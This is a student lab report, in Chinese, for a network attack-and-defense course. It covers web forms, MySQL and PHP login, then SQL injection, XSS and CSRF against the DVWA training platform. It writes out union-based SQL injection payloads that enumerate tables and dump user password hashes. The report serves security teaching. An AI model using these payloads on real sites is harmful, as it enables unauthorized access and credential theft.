20232323 2025-2026-1《网络与系统攻防技术》实验八实验报告
一、实验内容
(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,使用GET和POST方法编写一个含有表单的HTML。
(2)Web前端javascipt
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”,尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。
二、实验过程
(1)Web前端HTML
输入命令systemctl start apache2启动apache并输入systemctl status apache2.service确定apache状态

cd /var/www/html进入/var/www/html目录创建两个html文件分别使用GET和POST方法编写一个含有表单的HTML。
(2)Web前端javascipt
在POST方法的基础上,编写验证规则和回显。
用户名密码限制

尝试注入攻击

回显欢迎

(3)mysql基础
systemctl start mysql打开mysql服务,输入mysql启动。并做如下配置(注意每一条命令都要加“;”):
CREATE DATABASE 20232323db;-- 创建数据库
USE 20232323db;-- 使用数据库
CREATE USER 'user1' IDENTIFIED BY 'user@20232323';-- 创建用户
GRANT ALL PRIVILEGES ON 20232323db.* TO 'user1';-- 授予用户权限
FLUSH PRIVILEGES;--刷新权限
ALTER USER 'user1' IDENTIFIED BY 'user@2323';-- 修改用户密码
CREATE TABLE tablefirst ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL, pwd VARCHAR(255) NOT NULL );-- 创建表
INSERT INTO tablefirst (name, pwd) VALUES ('user1', 'user@20232323');-- 插入数据
SELECT * FROM tablefirst;-- 查看表中所有内容

(4)编写php网页
输入数据库中的用户名和密码验证

(5)使用DVWA完成SQL注入、XSS、CSRF攻击。
输入git clone https://github.com/digininja/DVWA.git下载DVWA(如果连接不上可以使用http)。
按照教程配置好DVWA的配置文件就可以使用服务了(注意将allow_url_include、display_errors 、
先输入1

输入1 and 1=2

输入1'报错了说明可能是字符型注入。

接下来我们来判断表中有几个字段,使用1' order by 1 #,1' order by 2 #数字逐渐递加,直到n



第三次进行报错,说明有两个字段
使用' union select 1,2 #

接下来获取当前数据库名称,版本以及当前用户,使用' union select database(),version() #

使用' union select database(),user() #

接下来我们查询数据库中的所有表的名称,使用-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

尝试在users表中获取所有的字段名,使用-1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #

使用-1' union select group_concat(user_id,first_name),group_concat(user,password) from users #

密码部分是密文,形似MD5尝试MD5反解一下

xss攻击。
o使用Reflected
输入xss,输入内容会显示到页面和URL中。

注入。

使用Stored
正常输入时,输入信息会保存到页面中。

在Message输入框输入

使用DOM
点击select,URL中default参数会显示提交的内容。
改变default为

CSRF攻击。
o修改密码

修改URL中的参数,重新打开一个页面访问网址,使用原来的密码123进行登录

登录失败。
o使用修改后的密码1234进行登陆

登录成功。
三、问题及解决方案
进行sql注入,点击submit没有页面任何变化
o这是安全等级太高的缘故,点击左侧"DVWA Security",然后将安全等级改为:low-完全无防护
四、学习感悟
本次实验重温了 Web 前后端相关知识,在此基础上实践了 SQL 注入、XSS 等攻击技术。通过实验发现,攻击者可利用这类漏洞,绕开合法用户名密码验证,非法登录防护能力薄弱的网站。借助 DVMA 平台的实操,我对各类网络攻击的内在原理及潜在危害有了更深入的认知 —— 尤其 CSRF 攻击,仅一个普通陌生网址就可能导致用户密码被篡改、隐私信息泄露。这让我深刻意识到,日常生活中需时刻警惕网络安全风险:不随意点击陌生链接,优先使用正版合法网站,从自身做起防范网络攻击,守护 Web 安全。

浙公网安备 33010602011771号